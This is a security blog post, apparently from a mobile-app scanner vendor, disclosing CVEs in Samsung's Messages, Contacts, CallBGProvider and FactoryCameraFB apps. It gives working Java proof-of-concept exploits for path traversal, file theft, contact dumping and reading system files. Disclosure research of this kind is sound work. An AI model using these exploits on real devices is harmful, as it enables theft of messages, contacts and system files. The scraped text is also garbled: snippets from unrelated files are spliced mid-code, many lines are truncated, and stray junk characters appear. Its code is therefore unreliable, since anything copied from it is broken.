

16 AUGUST 2021

Two weeks of securing Samsung devices: Part 2

As mentioned in the [first part](#) of this series, Oversecured spent two weeks finding security bugs in Samsung's built-in apps. In this part, we will go over bugs that could have allowed an attacker to:

- read & write arbitrary files in the name of the system
- read arbitrary telephone-related files from the Android user's phone, such as their call history and SMS/MMS
- read & modify the user's contact data
- steal the user's messages from the Samsung Messages app

Vulnerability table:

CVE	SVE	AFFECTED APP	DESCRIPTION	REWARD AMOUNT
CVE-2021-25426	SVE-2021-20903	Samsung Messages (com.samsung.android.messaging)	Theft of arbitrary files	\$1050
CVE-2021-25410	SVE-2021-20702	CallBGProvider (com.samsung.android.callbgprovider)	Read arbitrary files as system (UID 1001) user	\$2180
CVE-2021-25413	SVE-2021-20877	Samsung Contacts (com.samsung.android.app.contacts)	Gaining access to arbitrary* content providers	\$2250
CVE-2021-25414	SVE-2021-20879	Samsung Contacts (com.samsung.android.app.contacts)	Theft/overwrite of arbitrary files	\$2250
CVE-2021-25440	SVE-2021-20722	FactoryCameraFB (com.sec.factory.camera)	Read/write arbitrary files as system (UID 1000) user	\$10310

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from [Quick Start](#), or you can [book a call](#) with our team or [contact us](#) to explore more.

File theft in Samsung Messages

After scanning the Samsung Messages app, we received an alert about the possibility for theft of arbitrary files:

[Mark as a false positive](#) [Collapse](#)

Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.java

Found in file
com/samsung/android/messaging/common/util/CacheUtil.java

Found in file
com/samsung/android/messaging/ui/data/SmsViewerData.java

Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.java

This website uses cookies to improve your experience. See our [Privacy Policy](#) to learn more.

Share message button.

To access arbitrary files, we used an unsafe content provider:

Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml**

 Mark as a false positive

Collapse



```
1253 <provider android:name="com.samsung.android.messaging.common.provider.MessagesFileProvider" android:exported="fa
1254 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
1255 </provider>
```

Found in file **xml/filepaths.xml**

```
7 <root-path name="root-path" path=""/>
```

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/XmsMenuD

Proof of Concept:

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.sams");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}
```

Since the latest Android versions do not allow accessing external cache files, we made use of the `dumpFile` method to bypass this protection in our PoC.

File theft from UID 1001 in CallBGProvider

The `CallBGProvider` provider is declared with the permission

`com.samsung.android.callbgprovider.PERMISSION`, which is not properly protected:

com/samsung/android/messaging/ui/model/p642g/p645c/MessageSha

```
<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
```

#Byte(str.get

```
248 }
249 str2 = str3;
250 if (str2 != null) {
251     str = str.substring(0, r);
252 }
253 }
```

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/XmsMenuD

If `android:permissionLevel` is not specifically set by the developer, it gets defined as `normal` by default — which would allow any third-party apps to access the resource.

Found in file `AndroidManifest.xml`

Mark as a false positive

Collapse



```

14 <provider android:name="com.samsung.android.callbgprovider.CallBGProvider" android:readPermission="com.samsung.and
15 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
16 </provider>

```

Found in file `com/samsung/android/callbgprovider/CallBGProvider.java`

```

65 }
66
67 @Override // android.content.ContentProvider
68 public android.os.ParcelFileDescriptor openFile(@androidx.annotation.NonNull android.net.Uri uri, @androidx.annotation
69 java.io.File file;
70 android.util.Log.d("CallBGProvider", "openFile: uri: " + uri);
71 try {
72 java.io.File filesDir = getContext().getFilesDir();
73 java.lang.String path = uri.getPath();
74 if (path.contains("images/")) {
75 file = new java.io.File(filesDir, "images");
76 } else if (path.contains("videos/")) {
77 file = new java.io.File(filesDir, "videos");
78 } else {
79 file = path.contains("thumbnail/") ? new java.io.File(filesDir, "thumbnail") : null;
80 }
81 java.lang.String str2 = file.getPath() + "/" + uri.getLastPathSegment();
82 java.io.File file2 = new java.io.File(str2);
83 android.util.Log.d("CallBGProvider", "openFile: uri: path : " + str2);
84 return android.os.ParcelFileDescriptor.open(file2, 268435456);
85 } catch (java.io.FileNotFoundException e) {
86 e.printStackTrace();
87 return null;
88 }

```

The above provider is also vulnerable to path traversal due to the use of `Uri.getLastPathSegment()`, which automatically decodes the value.

Found in file
`com/samsung/android/messaging/common/Util/CacheUtil.java`

```

127 // New WARNING: Code Inspector failed: mission block 0/1/0/073, code test:
128 throw f2;

```

Proof of Concept for reading the database containing SMS/MMS messages.

File `AndroidManifest.xml`.

```

130 <uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

```

```

134 android.net.Uri copy = com.samsung.android.messaging.common.util.FileUtil.copy(openInputStream, str, file);

```

File `MainActivity.java`.

```

135 if (openInputStream != null) {
136     inputStream.close();
137 }

```

```

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "g

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephon
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2
    Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
    throw new RuntimeException(th);
}

```



The code in `CallBGProvider.call(...)` helps create directories like `videos`, `images`, etc., which don't exist by default. Therefore, it wasn't present in our PoC, then calling `ParcelFileDescriptor.open(...)` would have thrown a `FileNotFoundException` error.

File theft and writing to Samsung Contacts

The activity `com.samsung.android.contacts.editor.SetProfilePhotoActivity` in the Samsung Contacts app is exported. Moreover, it also accepts two attacker-controlled URIs:

```

664 return sb;
665 }
666
667 static java.lang.String normalizeFileName(java.lang.String str) {
668     return str.replaceAll("[<?>|\"|'|\\"
669 }
670
671 public static java.lang.String normalizeMmsPartFileName(java.lang.String str) {

```

1. `shared_photo_uri` for getting content

2. `temp_photo_uri` for saving content

Found in file **AndroidManifest.xml** Mark as a false positive[Collapse](#)

```

555     <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipmap/ic_launcher"
556     <intent-filter>
557         <action android:name="android.intent.action.SEND"/>
558         <data android:mimeType="image/*"/>
559         <category android:name="android.intent.category.DEFAULT"/>
560     </intent-filter>
561     <intent-filter>
562         <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563         <data android:mimeType="image/*"/>
564         <category android:name="android.intent.category.DEFAULT"/>
565     </intent-filter>
566 </activity>

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

164
165     private void w8(android.os.Bundle bundle) {
166         if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167             java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168             java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169             if (stringExtra != null && stringExtra2 != null) {
170                 this.f14384w = android.net.Uri.parse(stringExtra);
171                 this.f14385x = android.net.Uri.parse(stringExtra2);
172                 return;
173             }

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

43     /* renamed from: b */
44     private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45         android.net.Uri uri;
46         android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47         if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48             uri = null;
49         } else {
50             uri = clipData.getItemAt(0).getUri();
51             if (!m13806d(setProfilePhotoActivity, uri)) {
52                 return;
53             }
54         }
55         if (uri == null) {
56             if (setProfilePhotoActivity.getIntent().getExtras() == null || setProfilePhotoActivity.getIntent().getExtras().get("shared_photo_uri") == null) {
57                 setProfilePhotoActivity.finish();
58                 return;
59             }
60             uri = android.net.Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri"));
61         }
62         try {
63             com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14120Q(uri, setProfilePhotoActivity.f14384w, false);
64             if (this.f14389b == null) {
65                 this.f14389b = setProfilePhotoActivity.f14383v.m013912D(uri);
66             }

```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

71     }
72
73     /* renamed from: Q */
74     public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75         m14122a();
76         return f14625a.m14146R(uri, uri2, z);
77     }
78
79     /* renamed from: S */

```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

448         throw r5;
449     /*
450     /* renamed from: R */
451     public boolean m14146R(android.net.Uri uri, android.net.Uri uri2, boolean z) {
452         if (uri == null || uri2 == null || m14117L(uri)) {
453             com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoDataUtils", "can not save image " + uri + " " + uri2);
454             return false;
455         }
456         android.content.Context a = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a();
457         try {
458             com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoDataUtils", "can not save image " + uri + " " + uri2);

```

arbitrary files specified in the path section of the URI.

Proof of Concept for file theft.

File AndroidManifest.xml :

```
<provider android:name=".MyContentProvider" android:authorities="oversecured.evill" android:ex
```

File MainActivity.java

```

556 <intent-filter>
557     <action android:name="android.intent.action.SEND"/>
558     <data android:mimeType="image/*"/>
559 </intent-filter>

String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evill/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try {
        Log.d("evil", IOUtils.toString(new FileInputStream(path)));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);

```

File MyContentProvider.java

```

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
    } catch (Throwable th) {
        return null;
    }
}

```

Accessing arbitrary Content Providers in Samsung Contacts

This attack uses the same activity (com.samsung.android.contacts.editor.SetProfilePhotoActivity) as the previous vulnerability.

The flow of this attack looks like this.


1. An invalid URI is specified by an attacker in temp_photo_uri
2. The app automatically launches an implicit intent with the Intent.FLAG_GRANT_READ_URI_PERMISSION & Intent.FLAG_GRANT_WRITE_URI_PERMISSION flags
3. The attacker-controlled value in cropped_photo_uri is passed to the Intent's ClipData.

```

71 }
72
73 /* renamed from: Q */
74 public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75     m14122a();
76     return f14625a.m14146R(uri, uri2, z);
77 }
78
79 /* renamed from: S */

```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

Found in file **AndroidManifest.xml** Mark as a false positive Collapse

```

555     <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipmap
556     <intent-filter>
557         <action android:name="android.intent.action.SEND"/>
558         <data android:mimeType="image/*"/>
559         <category android:name="android.intent.category.DEFAULT"/>
560     </intent-filter>
561     <intent-filter>
562         <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563         <data android:mimeType="image/*"/>
564         <category android:name="android.intent.category.DEFAULT"/>
565     </intent-filter>
566 </activity>

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

43     /* renamed from: b */
44     private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45         android.net.Uri uri;
46         android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47         if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48             uri = null;
49         } else {
50             uri = clipData.getItemAt(0).getUri();
51             if (!m13806d(setProfilePhotoActivity, uri)) {
52                 return;
53             }
54         }

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

164
165     private void w8(android.os.Bundle bundle) {
166         if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167             java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168             java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169             if (stringExtra != null && stringExtra2 != null) {
170                 this.f14384w = android.net.Uri.parse(stringExtra);
171                 this.f14385x = android.net.Uri.parse(stringExtra2);
172                 return;
173             }

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

112     public void onPostExecute(java.lang.Void r4) {
113         com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity = this.f14388a.get();
114         if (setProfilePhotoActivity != null) {
115             android.content.Intent intent = new android.content.Intent("com.android.camera.action.CROP", setProfilePhotoActivity);
116             java.lang.String stringExtra = setProfilePhotoActivity.getIntent().getStringExtra("mimeType");
117             java.lang.String type = setProfilePhotoActivity.getIntent().getType();
118             if (stringExtra != null) {
119                 intent.setDataAndType(setProfilePhotoActivity.f14384w, stringExtra);
120             } else if (type != null) {
121                 intent.setDataAndType(setProfilePhotoActivity.f14384w, type);
122             } else if (!android.text.TextUtils.isEmpty(this.f14389b) && this.f14389b.contains("gif")) {
123                 intent.setDataAndType(setProfilePhotoActivity.f14384w, "image/gif");
124             }
125             com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14300c(intent, setProfilePhotoActivity.f14385x,
126             com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14299b(intent, this.f14391d);
127             if (setProfilePhotoActivity.f14383v.o4(intent)) {
128                 setProfilePhotoActivity.startActivityForResult(intent, 1);
129             } else {
130                 setProfilePhotoActivity.u8();
131             }

```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```

74     }
75
76     /* renamed from: d */
77     private boolean m13806d(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity, android
78         if (setProfilePhotoActivity.f14384w == null && setProfilePhotoActivity.f14385x == null && uri != null) {
79             try {
80                 java.lang.String D = setProfilePhotoActivity.f14383v.mo13912D(uri);
81                 this.f14389b = D;
82                 setProfilePhotoActivity.f14384w = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(D,
83                 setProfilePhotoActivity.f14385x = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(this
84             } catch (java.lang.SecurityException e) {
85                 com.samsung.android.dialtacts.util.AppLog.m20396l("SetProfilePhotoActivity", "setPhotoUri, SecurityEx

```

Proof of Concept for reading a complete contact list.

```

41
42  @Override // com.samsung.android.contacts.editor.commoninterface.SetProfilePhotoContract
File AndroidManifest.xml

```

```

<activity android:name=".PickerActivity">
  <intent-filter android:autoVerify="true" android:priority="999999999">
    <action android:name="com.android.camera.action.CROP" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:mimeType="*/*" />
    <data android:mimeType="image/*" />
    <data android:mimeType="test/1337" />
  </intent-filter>
</activity>

```

```

193      com.samsung.android.dialtacts.util.AppLog.m20396("PhotoModel", "getImageTitleFromMediaDB result : " + a);
194      return a;
File MainActivity.java:

```

```

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoContract");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);

```

```

547      try {
548          android.database.Cursor query = this.f10092a.query(uri, new java.lang.String[]{"_display_name"}, null, null,
File PickerActivity.java:
549          // query != null {
550          //     // from: SetProfilePhotoContract
551          // }
552      } catch (Exception e) {
553          //
554      }
555      protected void onCreate(Bundle savedInstanceState) {
556          super.onCreate(savedInstanceState);
557
558          if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
559              dump(getIntent().getClipData().getItemAt(0).getUri());
560          }
561
562          finish();
563      }
564
565      public void dump(Uri uri) {
566          Cursor cursor = getContentResolver().query(uri, null, null, null, null);
567          if (cursor.moveToFirst()) {
568              do {
569                  StringBuilder sb = new StringBuilder();
570                  for (int i = 0; i < cursor.getColumnCount(); i++) {
571                      if (sb.length() > 0) {
572                          sb.append(", ");
573                      }
574                      sb.append(cursor洗getColumnName(i) + " = " + cursor.getString(i));
575                  }
576                  Log.d("evil", sb.toString());
577              } while (cursor.moveToNext());
578          }
579      }
580  }
581  }

```

File theft and write from UID 1000 in FactoryCameraFB

com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

386
387  /* access modifiers changed from: package-private */
388  /* renamed from: N */
389  public java.lang.String m14144N(java.lang.String str) {
390      java.io.File cacheDir = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a().getCacheDir();
391      if (cacheDir != null) {
392          cacheDir.mkdirs();
393      }
394      return new java.io.File(cacheDir, str).getAbsolutePath();
395  }
396
397  /* renamed from: P */

```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

560
561  /* access modifiers changed from: package-private */
562  /* renamed from: l */
563  public java.lang.String m14152L(java.lang.String str, java.lang.String str2) {

```


Found in file **AndroidManifest.xml**☐ Mark as a false positive[Collapse](#)

```

37     <activity android:theme="@style/res_2131755016_apptheme_noactionbar" android:label="@string/app_name" android:name="
38         <intent-filter>
39             <action android:name="android.intent.action.MAIN"/>
40         </intent-filter>
41     </activity>

```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```

228         e2.printStackTrace();
229     }
230 }
231 this.mIncomingIntent = getIntent();
232 }
233
234 /* access modifiers changed from: protected */

```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```

117     public void sendResultAndFinish(int i, java.lang.String str) {
118         android.util.Log.i("FACAM/CamTestActivity", "sendResultAndFinish : " + i + ", " + str);
119         sendResult(i, str);
120         setResult(i, this.mIncomingIntent);
121         finish();
122     }
123
124     java.lang.String getCanonicalPath(java.io.File file) {
125         try {
126             java.lang.String canonicalPath = file.getCanonicalPath();
127             java.util.Map.Entry<java.lang.String, java.io.File> entry = null;
128             java.util.Map.Entry<java.lang.String, java.io.File> entry2 = this.f484b.entrySet();
129             java.lang.String path = entry2.getValue().getPath();
130             if (canonicalPath.startsWith(path) && (entry == null || path.length() > entry.getValue().getPath().length()))
131                 return canonicalPath;
132             return null;
133         } catch (IOException e) {
134             return null;
135         }
136     }
137 }
138
139 com.sec.imsservice

```

It should be noted that this app has a property called `android:sharedUserId="android.uid.system"`, which makes it a system application.

As described in the vulnerability in Android Settings, we used a content provider in the app, which provided access to arbitrary files:

Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml**☐ Mark as a false positive[Collapse](#)

```

508     <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com
509         <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/imfilepath"/>
510     </provider>

```

Found in file **xml/imfilepath.xml**

```

3     <root-path name="root" path="."/>

```

Found in file **com/samsung/android/contacts/editor/p347o/AbstractC3332.java**

```

26     public static void m14300c(android.content.Intent intent, android.net.Uri uri, int i) {
27         intent.putExtra("output", uri);
28     }

```

For testing, we used the file `/data/system/users/0/settings_secure.xml` (which has these permissions: `-rw-r--r--` system system).

Proof of Concept: as a result of which the content of the file was printed to the logs.

```

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

```

In [the previous article](#), we published information about a vulnerability in Android Settings for which we received a \$2,000 award from Google AOSP.

The activity `com.android.settings.wifi.WifiDialogActivity` is exported (however, it requests the sender to have `android.permission.CHANGE_WIFI_STATE` permission). When a user clicks on the QR code scan icon, it launches an implicit intent and passes its activity result to its own `setResult(code, attacker_controlled_intent)`.

Proof of Concept to access any system files on Samsung devices.

File `AndroidManifest.xml` :

```
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />

<activity android:name=".PickerActivity">
    <intent-filter android:autoVerify="true" android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
```

File `MainActivity.java` :

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
```

File `PickerActivity.java` :

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}
```



Preventing these vulnerabilities

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use [Quick Start](#), [book a call](#) or [contact us](#).



oversecured
secure place

[Read More](#)

Common mistakes when using permissions in Android

 OVERSECURED

1 MIN READ

Why dynamic code loading could be dangerous for your apps: a Google example

 OVERSECURED

1 MIN READ